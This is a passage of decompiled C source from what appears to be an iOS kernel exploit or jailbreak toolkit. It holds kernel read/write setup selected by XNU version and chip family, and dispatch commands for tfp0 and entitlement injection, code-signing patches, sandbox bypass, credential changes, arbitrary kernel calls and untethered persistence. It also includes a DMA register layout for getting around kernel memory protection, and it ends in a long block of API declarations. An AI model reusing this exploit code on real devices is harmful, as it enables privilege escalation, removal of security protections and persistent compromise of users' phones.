  uint32_t flags = krwCtx->flags;
  bool isA12ToA17 = (flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0;

  if ( xnuVersionPacked > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
    return (flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 ? KRW_SETUP_PATH_IOGPU : KRW_SETUP_PATH_IOSURFACE;
  if ( xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) )
    return KRW_SETUP_PATH_IOSURFACE;
  if ( xnuVersionPacked > XNU_VERSION_PACKED(8796, 102, 4, 1023, 1023) )
    return isA12ToA17 && (flags & KRW_CTX_FLAG_CPU_A12) == 0 ? KRW_SETUP_PATH_PORTS_VM : KRW_SETUP_PATH_IOSURFACE;
  if ( xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)
    && (isA12ToA17 || xnuVersionPacked > XNU_VERSION_PACKED(8020, 99, 1023, 1023, 1023)) )
  {
    return KRW_SETUP_PATH_PORTS_VM;
  }
  return KRW_SETUP_PATH_VOUCHER;
}

static bool krw_has_any_ready_method(struct_krwCtx *krwCtx)
{
  bool hasThreadStateKrw = krwCtx->threadForKernelRead + 1 >= 2 && *(uint64_t *)&krwCtx->gap42[40];
  bool hasIOConnectKrw = (unsigned int)(*(uint32_t *)&krwCtx->gap42[56] + 1) >= 2
                      && *(uint64_t *)&krwCtx->gap42[72]
                      && *(uint64_t *)&krwCtx->gap42[80];
  bool hasPipePairKrw = krwCtx->gap1911[0] != -1
                     && krwCtx->gap1911[1] != -1
                     && ((krwCtx->gap1915 != -1 && krwCtx->gap190u)
                      || (krwCtx->gap1913 != -1 && krwCtx->gap1914 != -1));
  bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap191[693]) + 1) >= 2;

  return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw;
}

static bool krw_prepare_selected_setup_path(struct_krwCtx *krwCtx, krw_setup_path_t setupPath, uint32_t *needsSecondStage)
{
  switch ( setupPath )
  {
    case KRW_SETUP_PATH_VOUCHER:
      return krw_setup_with_stat((__int64)krwCtx, needsSecondStage);
    case KRW_SETUP_PATH_PORTS_VM:
      return krw_setup_ports_vm((__int64)krwCtx, needsSecondStage);
    case KRW_SETUP_PATH_IOGPU:
      return iogpu_krw_ctx_setup((__int64)krwCtx, needsSecondStage) == 0;
    case KRW_SETUP_PATH_IOSURFACE:
    default:
      return krw_setup_iosurface_v2((__int64)krwCtx, needsSecondStage);
  }
}

static bool krw_finish_selected_setup_path(struct_krwCtx *krwCtx, krw_setup_path_t setupPath)
{
  switch ( setupPath )
  {
    case KRW_SETUP_PATH_VOUCHER:
      return krw_setup_voucher(krwCtx);
    case KRW_SETUP_PATH_PORTS_VM:
      return krw_setup_physmap((__int64)krwCtx);
    case KRW_SETUP_PATH_IOGPU:
      return iogpu_physmap_init((__int64)krwCtx) == 0;
    case KRW_SETUP_PATH_IOSURFACE:
    default:
      return krw_setup_iosurface((__int64)krwCtx);
  }
}

static uint64_t driver_dispatch_finish(uint64_t status, bool commandSucceeded)
{
  if ( (uint32_t)status || commandSucceeded )
    return (uint32_t)status;
  return 163843;
}

char *_CFProcessPath(void);

#define DRIVER_CMD_PATCH_PARENT_CSFLAGS 1
#define DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET 2
#define DRIVER_CMD_INJECT_TFP0_ENTITLEMENT 3
#define DRIVER_CMD_PATCH_CSBLOB 6
#define DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH 7
#define DRIVER_CMD_GET_OR_SET_SELF_UID_CRED 8
#define DRIVER_CMD_SET_SELF_SPECIAL_PORT 9
#define DRIVER_CMD_SETUP_SANDBOX_BYPASS 10
#define DRIVER_CMD_CHECK_SELF_DYLD_INFO 11
#define DRIVER_CMD_KREAD_SET_VM_ATTR 12
#define DRIVER_CMD_NECP_SEND_SELF 13
#define DRIVER_CMD_PGTABLE_KREAD_VM_ATTR 15
#define DRIVER_CMD_PGTABLE_KREAD_VM_ATTR_NO_PATCH 19
#define DRIVER_CMD_INJECT_CSBLOB_ENTITLEMENT 20
#define DRIVER_CMD_GET_TASK_PORT_PID_OFFSET 21
#define DRIVER_CMD_NECP_SEND_TASK 22
#define DRIVER_CMD_VALIDATE_IPC_KOBJECT_READ 23
#define DRIVER_CMD_SET_TASK_SPECIAL_PORT 26
#define DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH 31
#define DRIVER_CMD_INSERT_TASK_SEND_RIGHT 34
#define DRIVER_CMD_KREAD_PROC_ENTITLEMENT_DATA 38
#define DRIVER_CMD_GET_PROC_EXEC_FLAGS ((int)0xC000001Bu)
#define DRIVER_CMD_UNSUPPORTED_1C ((int)0xC000001Cu)
#define DRIVER_CMD_TASK_FOR_PID_OR_NAME_RET_PTR ((int)0xC000001Du)
#define DRIVER_CMD_UNSUPPORTED_1E ((int)0xC000001Eu)
#define DRIVER_CMD_UNSUPPORTED_1F ((int)0xC000001Fu)
#define DRIVER_CMD_UPDATE_PHYSMAP_TABLE_SELF ((int)0x8000001Cu)
#define DRIVER_CMD_UPDATE_PHYSMAP_TABLE_TASK ((int)0xC0000020u)
#define DRIVER_CMD_UNSUPPORTED_21 ((int)0xC0000021u)
#define DRIVER_CMD_UNSUPPORTED_22 ((int)0xC0000022u)
#define DRIVER_CMD_KREAD_VERSION_CHECK ((int)0xC0000023u)
#define DRIVER_CMD_CHECK_TASK_DYLD_INFO_8 ((int)0x40000018u)
#define DRIVER_CMD_CHECK_TASK_DYLD_INFO_32 ((int)0x40000019u)
#define DRIVER_CMD_KREAD_PROC_ENTITLEMENT_FULL ((int)0x4000001Bu)
#define DRIVER_CMD_SET_THREAD_STATE_VERSIONED ((int)0x4000001Eu)
#define DRIVER_CMD_MACH_VM_WIRE ((int)0x40000021u)
#define DRIVER_CMD_KWRITE_VERSION_CHECK ((int)0x40000023u)
#define DRIVER_CMD_STAGE3_GET_MOUNT_POINT 0x302
#define DRIVER_CMD_STAGE3_SETUP_UNTETHERED ((int)0x40000301u)
#define DRIVER_CMD_STAGE3_KCALL_3ARGS ((int)0xC0000303u)
#define DRIVER_CMD_STAGE3_KCALL_1ARG ((int)0x40000304u)
#define DRIVER_CMD_STAGE3_KCALL_6ARGS ((int)0x40000305u)
#define DRIVER_CMD_STAGE3_GET_ROOT_MOUNT_INFO ((int)0x80000306u)
#define DRIVER_CMD_STAGE3_PHYSMAP_CHECK_RANGE ((int)0x40000306u)
#define DRIVER_CMD_STAGE1_GET_ROOT_PREFIX ((int)0x80000108u)
#define DRIVER_CMD_STAGE1_GET_ROOT_STATFS ((int)0x80000109u)
#define DRIVER_CMD_STAGE1_CHECK_KRW_NECP_STATE ((int)0x8000010Du)
#define DRIVER_CMD_STAGE1_CHECK_MOUNT_THREAD 265
#define DRIVER_CMD_STAGE1_WALK_CSBLOB_FOR_PATH 268
#define DRIVER_CMD_STAGE1_CHECK_DISPATCH_KRW 269
#define DRIVER_CMD_STAGE1_PHYSMAP_SINGLE_CHECK ((int)0x40000105u)
#define DRIVER_CMD_STAGE1_NECP_CAPABILITIES ((int)0xC000010Bu)
#define DRIVER_CMD_STAGE1_PHYSMAP_ENTRY_CHECK ((int)0x4000010Au)

static uint64_t driver_dispatch_stage3_command(struct_krwCtx *krwCtx, int cmd, uint64_t inoutValue)
{
  if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || krwCtx->xnuMajorVersion > 8791 )
    return 708616;

  if ( cmd > 0x40000300 )
  {
    switch ( cmd )
    {
      case DRIVER_CMD_STAGE3_SETUP_UNTETHERED:
        return driver_cmd_setup_untethered_persistence_maybe(krwCtx, *(uint32_t *)inoutValue);
      case DRIVER_CMD_STAGE3_KCALL_1ARG:
        return krw_dispatch_call_1arg((__int64)krwCtx, *(uint32_t *)(inoutValue + 12));
      case DRIVER_CMD_STAGE3_KCALL_6ARGS:
        return krw_dispatch_call_6args(
          (__int64)krwCtx,
          *(uint32_t *)inoutValue,
          *(uint64_t *)(inoutValue + 8),
          *(uint64_t *)(inoutValue + 16),
          *(uint32_t *)(inoutValue + 24),
          *(uint64_t *)(inoutValue + 32));
      case DRIVER_CMD_STAGE3_PHYSMAP_CHECK_RANGE:
        return physmap_check_range_wrapper((__int64)krwCtx, inoutValue, 20);
      default:
        return 708616;
    }
  }

  switch ( cmd )
  {
    case DRIVER_CMD_STAGE3_GET_ROOT_MOUNT_INFO:
      return get_root_mount_info((__int64)krwCtx, (uint32_t *)inoutValue, (char *)(inoutValue + 16));
    case DRIVER_CMD_STAGE3_KCALL_3ARGS:
      return krw_dispatch_call_3args(
        (__int64)krwCtx,
        *(uint64_t *)inoutValue,
        *(uint32_t *)(inoutValue + 8),
        inoutValue + 12);
    case DRIVER_CMD_STAGE3_GET_MOUNT_POINT:
      return get_mount_point_via_dispatch((__int64)krwCtx);
    default:
      return 708616;
  }
}

static uint64_t driver_dispatch_stage1_command(struct_krwCtx *a1, int cmd, uint64_t inoutValue)
{
  uint64_t v3; // x20
  uint64_t v6; // x21
  int v14; // w23
  int v15; // w0
  int v16; // w0
  int v21; // w0
  int v22; // w22
  int v23; // w21
  int v24; // w22
  unsigned int v25; // w1
  bool v26; // w8
  int v27; // w20
  int v28; // w8
  __int64 v50; // [xsp+0h] [xbp-40h] BYREF
  int v51; // [xsp+8h] [xbp-38h] BYREF
  int v52; // [xsp+Ch] [xbp-34h] BYREF

  v3 = inoutValue;
  v6 = 708616;
  v14 = 0;
  v50 = 0;
  LODWORD(v50) = v3;
  v52 = 0;
  if ( cmd > 264 )
  {
    if ( cmd > 268 )
    {
      if ( cmd != DRIVER_CMD_STAGE1_CHECK_DISPATCH_KRW )
      {
        if ( cmd == DRIVER_CMD_STAGE1_PHYSMAP_ENTRY_CHECK )
        {
          v15 = physmap_entry_check((__int64)a1, *(uint32_t *)v3, *(uint32_t *)(v3 + 4), *(uint64_t *)(v3 + 16));
          goto LABEL_79;
        }
        if ( cmd == DRIVER_CMD_STAGE1_PHYSMAP_SINGLE_CHECK )
        {
          v15 = physmap_single_check((__int64)a1, v3, 20);
LABEL_79:
          v14 = v15;
          LODWORD(v6) = 0;
        }
LABEL_179:
        v26 = v14 == 0;
LABEL_180:
        return driver_dispatch_finish(v6, !v26);
      }
      if ( a1->xnuVersionPacked >> 43 >= 0x44B )
      {
        v15 = check_dispatch_krw_state(a1, v3 != 0);
        goto LABEL_79;
      }
LABEL_84:
      v14 = 0;
      goto LABEL_179;
    }
    if ( cmd != DRIVER_CMD_STAGE1_CHECK_MOUNT_THREAD )
    {
      if ( cmd == DRIVER_CMD_STAGE1_WALK_CSBLOB_FOR_PATH )
      {
        if ( !v3 )
          v3 = _CFProcessPath();
        v21 = open((const char *)v3, 0, v50);
        if ( v21 == -1 )
        {
          v27 = errno;
          v14 = 0;
          v28 = errno;
          if ( v27 < 0 )
            v28 = -v28;
          LODWORD(v6) = v28 | 0x40000000;
        }
        else
        {
          v22 = v21;
          if ( v3 )
            LODWORD(v6) = 0;
          else
            LODWORD(v6) = 708609;
          v14 = walk_csblob_chain_for_offset(a1, v21);
          close(v22);
        }
      }
      goto LABEL_179;
    }
    v25 = v3 & 0xF;
    if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    {
      if ( v25 > 2 )
      {
        v14 = 0;
        LODWORD(v6) = 708609;
        goto LABEL_179;
      }
      v15 = check_mount_thread_info(a1, v25);
      goto LABEL_79;
    }
    if ( v25 == 1 )
      LODWORD(v6) = 708616;
    else
      LODWORD(v6) = 0;
    goto LABEL_178;
  }
  if ( cmd > -2147483380 )
  {
    if ( cmd != DRIVER_CMD_STAGE1_CHECK_KRW_NECP_STATE )
    {
      if ( cmd != DRIVER_CMD_STAGE1_NECP_CAPABILITIES )
        goto LABEL_179;
      v23 = *(uint32_t *)v3;
      v24 = (*(uint32_t *)v3 & 1) != 0 && a1->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && a1->xnuMajorVersion < 8792;
      if ( (v23 & 4) != 0 )
      {
        if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
        {
          if ( check_necp_flag(a1) )
            v24 |= 4u;
        }
        else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11) && a1->xnuMajorVersion > 6152 )
        {
          v24 |= 4u;
        }
      }
      if ( (v23 & 2) != 0 )
      {
        if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
        {
          if ( check_necp_flag(a1) )
            v24 |= 2u;
        }
        else
        {
          v24 |= 2u;
        }
      }
      if ( (v23 & 8) != 0 && a1->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
        v24 |= 8u;
      LODWORD(v6) = 0;
      *(uint32_t *)v3 = v24;
      goto LABEL_178;
    }
    v16 = 0;
    LOBYTE(v51) = 0;
    if ( a1->xnuVersionPacked >> 43 >= 0x44B )
    {
      v16 = check_krw_necp_state(a1, (bool *)&v51);
      LODWORD(v6) = 0;
      if ( v16 )
        LODWORD(v50) = (unsigned __int8)v51;
    }
  }
  else
  {
    if ( cmd == DRIVER_CMD_STAGE1_GET_ROOT_PREFIX )
    {
      v51 = 1024;
      if ( !(unsigned int)get_root_prefix_path((__int64)a1, (void *)(v3 + 16), (uint32_t *)&v51, (int *)&v52) )
      {
        LODWORD(v6) = 0;
        goto LABEL_84;
      }
      if ( v52 )
        *(uint32_t *)v3 = 1;
      LODWORD(v6) = 0;
      if ( v51 )
        *(uint32_t *)v3 |= 2u;
LABEL_178:
      v14 = 1;
      goto LABEL_179;
    }
    if ( cmd != DRIVER_CMD_STAGE1_GET_ROOT_STATFS )
      goto LABEL_179;
    v16 = get_root_statfs((__int64)a1, (int *)&v50);
    LODWORD(v6) = 0;
  }
  if ( v16 )
  {
    v26 = 0;
    *(uint32_t *)v3 = v50;
  }
  else
  {
    v26 = 1;
  }
  goto LABEL_180;
}

__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2);
int __fastcall j__fileport_makefd(mach_port_t);
__int64 __fastcall __mac_syscall(__int64 a1, __int64 a2, __int64 a3);
//__int64 __fastcall getattrlistbulk(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5);
__int64 __fastcall fs_snapshot(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6);
__int64 j___get_cpu_capabilities(void); // weak
__int64 _get_cpu_capabilities(void);
extern __int64 real_get_cpu_capabilities(void) __asm("__get_cpu_capabilities");
unsigned __int64 comm_page64_base_address();
enum
{
  COMM_PAGE_CPU_CAPABILITIES64_OFFSET = 0x10,
  COMM_PAGE_CACHE_LINESIZE_OFFSET = 0x26,
  COMM_PAGE_MEMORY_SIZE_OFFSET = 0x38,
  COMM_PAGE_CPUFAMILY_OFFSET = 0x80,
};

enum
{
  // Dopamine dmaFail.c MMIO layout:
  //   0x206040000 dbgwrap, 0x206140000 DMA control, 0x206150000 DMA address/data.
  DMAFAIL_REG_BASE = 0x206000000ULL,
  DMAFAIL_DBGWRAP_MAP_OFFSET = 0x40000ULL,
  DMAFAIL_DMA_CTRL_MAP_OFFSET = 0x140000ULL,
  DMAFAIL_DMA_DATA_MAP_OFFSET = 0x150000ULL,
  DMAFAIL_DBGWRAP_DBGHALT = 1u << 31,
  DMAFAIL_DBGWRAP_DBGACK = 1u << 28,
  DMAFAIL_DMA_CTRL_STATUS_OFFSET = 0x108,
  DMAFAIL_DMA_ENABLE_OFFSET = 0x8,
  DMAFAIL_DMA_A15_A16_BACKUP_OFFSET = 0x20,
  DMAFAIL_DMA_ADDR_OFFSET = 0x40,
  DMAFAIL_DMA_DATA_OFFSET = 0x48,
  DMAFAIL_DMA_CTRL = DMAFAIL_REG_BASE + DMAFAIL_DMA_CTRL_MAP_OFFSET + DMAFAIL_DMA_CTRL_STATUS_OFFSET,
  DMAFAIL_DMA_ENABLE = DMAFAIL_REG_BASE + DMAFAIL_DMA_CTRL_MAP_OFFSET + DMAFAIL_DMA_ENABLE_OFFSET,
  DMAFAIL_DMA_DATA = DMAFAIL_REG_BASE + DMAFAIL_DMA_DATA_MAP_OFFSET + DMAFAIL_DMA_DATA_OFFSET,
  DMAFAIL_DMA_ADDR = DMAFAIL_REG_BASE + DMAFAIL_DMA_DATA_MAP_OFFSET + DMAFAIL_DMA_ADDR_OFFSET,
  DMAFAIL_A15_A16_DMA_BACKUP = DMAFAIL_REG_BASE + DMAFAIL_DMA_DATA_MAP_OFFSET + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET,
  DMAFAIL_CACHE_LINE_SIZE = 0x40,
  DMAFAIL_CACHE_LINE_MASK = DMAFAIL_CACHE_LINE_SIZE - 1,
  DMAFAIL_PHYS_PAGE_SHIFT = 14,
  DMAFAIL_PHYS_UPPER_SHIFT = 18,
  DMAFAIL_DMA_ADDR_VALID = 0x2000000,
  DMAFAIL_DMA_ADDR_TTE_LOW_MASK = 0x7FC0,
  DMAFAIL_DMA_ADDR_TTE_KEEP_BIT = 0x4000,
  DMAFAIL_DMA_TARGET_UPPER_MASK = 0x3FFFFFFFFFFFFULL,
  DMAFAIL_DMA_HASH2_SHIFT = 50,
  DMAFAIL_DMA_HASH1_INDEX_LEGACY = 40, // Dopamine gDMAIndex on A12-A14
  DMAFAIL_DMA_HASH1_INDEX_A15_A16 = 8, // Dopamine gDMAIndex on A15/A16
  DMAFAIL_DMA_REG_BASE_LEGACY = 0x206000000ULL,
  DMAFAIL_DMA_REG_BASE_ALT = 0x406000000ULL,
  DMAFAIL_DMA_MASK_A16 = 0x7FFFFFF, // Dopamine gDMAMask on A16
  DMAFAIL_DMA_MASK_ALT = 0x3FFFFFF, // Dopamine gDMAMask on A14/A15 alt path
  DMAFAIL_DMA_MASK_LEGACY = 0x3FFFFF, // Dopamine gDMAMask on A12-A14 legacy path
  DMAFAIL_DMA_CTRL_BUSY_BITS = 0x8000000000000001ULL,
  DMAFAIL_DMA_CTRL_RESTORE_MASK = 0x8000000000000000ULL,
  DMAFAIL_DMA_ENABLE_BIT = 0x1000000000000000ULL,
  DMAFAIL_DMA_A15_ADDR_HASH_MASK = 0x1F,
  DMAFAIL_DMA_A15_ADDR_HASH_SHIFT = 37,
  DMAFAIL_DMA_HASH1_A15_A16_KEEP_MASK = 0x3E0,
};
void *__memcpy_chk(void *dst, const void *src, size_t len, size_t dstlen);
void *__memset_chk(void *dst, int val, size_t len, size_t dstlen);
size_t __strlcpy_chk(char *dst, const char *src, size_t len, size_t dstlen);
extern const char ___kernelVersionString[];
int sandbox_check(pid_t pid, const char *operation, int flags, ...);
void *_os_alloc_once(void *slot, size_t size, void *init);
void *__os_alloc_once(void *slot, size_t size, void *init);
mach_port_t mach_reply_port(void);
CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
kern_return_t host_get_io_master(host_t host, io_master_t *io_master);
int uuid_is_null(const unsigned char uu[16]);
__int64 _IOServiceSetAuthorizationID(void);
__int64 __semwait_signal(void);
int __ulock_wait(unsigned int operation, void *addr, unsigned __int64 value, unsigned int timeout);
int __ulock_wake(unsigned int operation, void *addr, unsigned __int64 wake_value);
int necp_open(int flags);
int necp_client_action(int fd, uint32_t action, const void *client_id, size_t client_id_len, void *buffer, size_t buffer_size);
int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize);
char *_CFProcessPath(void);
#if 0
int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c);
int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c);
int __cdecl CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len);
int __cdecl CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c);
int __cdecl CC_SHA256_Init(CC_SHA256_CTX *c);
int __cdecl CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len);
int __cdecl CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c);
int __cdecl CC_SHA384_Init(CC_SHA512_CTX *c);
int __cdecl CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len);
void __cdecl CFArrayAppendValue(CFMutableArrayRef theArray, const void *value);
void __cdecl CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context);
Boolean __cdecl CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value);
CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray);
CFTypeID CFArrayGetTypeID(void);
CFTypeID CFBooleanGetTypeID(void);
CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length);
CFDataRef __cdecl CFDataCreateWithBytesNoCopy(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator);
const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData);
CFIndex __cdecl CFDataGetLength(CFDataRef theData);
CFTypeID CFDataGetTypeID(void);
void __cdecl CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value);
void __cdecl CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context);
CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks);
CFMutableDictionaryRef __cdecl CFDictionaryCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFDictionaryRef theDict);
CFTypeID CFDictionaryGetTypeID(void);
Boolean __cdecl CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value);
void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value);
Boolean __cdecl CFEqual(CFTypeRef cf1, CFTypeRef cf2);
CFTypeID __cdecl CFGetTypeID(CFTypeRef cf);
CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr);
CFTypeID CFNumberGetTypeID(void);
Boolean __cdecl CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr);
CFDataRef __cdecl CFPropertyListCreateData(CFAllocatorRef allocator, CFPropertyListRef propertyList, CFPropertyListFormat format, CFOptionFlags options, CFErrorRef *error);
CFPropertyListRef __cdecl CFPropertyListCreateWithData(CFAllocatorRef allocator, CFDataRef data, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error);
CFPropertyListRef __cdecl CFPropertyListCreateWithStream(CFAllocatorRef allocator, CFReadStreamRef stream, CFIndex streamLength, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error);
void __cdecl CFReadStreamClose(CFReadStreamRef stream);
CFReadStreamRef __cdecl CFReadStreamCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator);
Boolean __cdecl CFReadStreamOpen(CFReadStreamRef stream);
void __cdecl CFRelease(CFTypeRef cf);
void __cdecl CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode);
CFRunLoopRef CFRunLoopGetCurrent(void);
void __cdecl CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode);
CFRunLoopRunResult __cdecl CFRunLoopRunInMode(CFRunLoopMode mode, CFTimeInterval seconds, Boolean returnAfterSourceHandled);
CFStringRef __cdecl CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding);
Boolean __cdecl CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding);
CFStringEncoding CFStringGetSystemEncoding(void);
CFTypeID CFStringGetTypeID(void);
Boolean __cdecl CFStringHasPrefix(CFStringRef theString, CFStringRef prefix);
CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options);
kern_return_t __cdecl IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t __cdecl IOConnectCallScalarMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, uint64_t *output, uint32_t *outputCnt);
kern_return_t __cdecl IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t __cdecl IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4);
kern_return_t __cdecl IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
io_object_t __cdecl IOIteratorNext(io_iterator_t iterator);
IONotificationPortRef __cdecl IONotificationPortCreate(mach_port_t masterPort);
void __cdecl IONotificationPortDestroy(IONotificationPortRef notify);
CFRunLoopSourceRef __cdecl IONotificationPortGetRunLoopSource(IONotificationPortRef notify);
kern_return_t __cdecl IOObjectRelease(io_object_t object);
kern_return_t __cdecl IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, IOOptionBits options);
CFTypeRef __cdecl IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options);
io_registry_entry_t __cdecl IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path);
kern_return_t __cdecl IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
CFTypeRef __cdecl IORegistryEntrySearchCFProperty(io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options);
kern_return_t __cdecl IOServiceAddMatchingNotification(IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching, IOServiceMatchingCallback callback, void *refCon, io_iterator_t *notification);
kern_return_t __cdecl IOServiceClose(io_connect_t connect);
io_service_t __cdecl IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching);
CFMutableDictionaryRef __cdecl IOServiceMatching(const char *name);
kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);
kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime);
__int64 _CFProcessPath();
__int64 _IOServiceSetAuthorizationID();
int *__error(void);
void *__memcpy_chk(void *dst, const void *src, size_t len, size_t dstlen);
void *__memset_chk(void *dst, int val, size_t len, size_t dstlen);
__int64 __semwait_signal();
size_t __strlcpy_chk(char *dst, const char *src, size_t len, size_t dstlen);
int __ulock_wait(unsigned int operation, void *addr, unsigned __int64 value, unsigned int timeout);
int __ulock_wake(unsigned int operation, void *addr, unsigned __int64 wake_value);
__int64 _get_cpu_capabilities();
void *_os_alloc_once(void *slot, size_t size, void *init);
void *__os_alloc_once(void *slot, size_t size, void *init);
void __cdecl arc4random_buf(void *__buf, size_t __nbytes);
void __cdecl bzero(void *, size_t);
void *__cdecl calloc(size_t __count, size_t __size);
int __cdecl chown(const char *, uid_t, gid_t);
int __cdecl close(int);
int __cdecl connect(int, const sockaddr *, socklen_t);
int __cdecl dlclose(void *__handle);
void *__cdecl dlopen(const char *__path, int __mode);
void *__cdecl dlsym(void *__handle, const char *__symbol);
int fcntl(int, int, ...);
int __cdecl ffsctl(int, unsigned __int64, void *, unsigned int);
int fileport_makefd(mach_port_t port);
void __cdecl free(void *);
int __cdecl fstat(int, stat *);
int __cdecl getattrlist(const char *, void *, void *, size_t, unsigned int);
int __cdecl getmntinfo(struct statfs **, int);
pid_t getpid(void);
pid_t getppid(void);
uid_t getuid(void);
kern_return_t __cdecl host_create_mach_voucher(host_t host, mach_voucher_attr_raw_recipe_array_t recipes, mach_msg_type_number_t recipesCnt, ipc_voucher_t *voucher);
kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master);
kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port);
kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version);
extern const char ___kernelVersionString[];
kern_return_t __cdecl host_page_size(host_t, vm_size_t *);
kern_return_t __cdecl host_processors(host_priv_t host_priv, processor_array_t *out_processor_list, mach_msg_type_number_t *out_processor_listCnt);
kern_return_t __cdecl host_security_set_task_token(host_security_t host_security, task_t target_task, security_token_t sec_token, audit_token_t *__struct_ptr audit_token, host_t host);
int ioctl(int, unsigned __int64, ...);
int __cdecl lstat(const char *, stat *);
uint64_t mach_absolute_time(void);
mach_port_t mach_host_self(void);
kern_return_t __cdecl mach_make_memory_entry(vm_map_t target_task, vm_size_t *size, vm_offset_t offset, vm_prot_t permission, mem_entry_name_port_t *object_handle, mem_entry_name_port_t parent_entry);
kern_return_t __cdecl mach_make_memory_entry_64(vm_map_t target_task, memory_object_size_t *size, memory_object_offset_t offset, vm_prot_t permission, mach_port_t *object_handle, mem_entry_name_port_t parent_entry);
mach_msg_return_t __cdecl mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify);
void __cdecl mach_msg_destroy(mach_msg_header_t *);
mach_msg_return_t __cdecl mach_msg_send(mach_msg_header_t *);
kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name);
